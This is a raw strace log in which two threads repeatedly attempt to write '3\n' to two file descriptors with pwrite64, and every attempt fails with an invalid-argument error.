[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
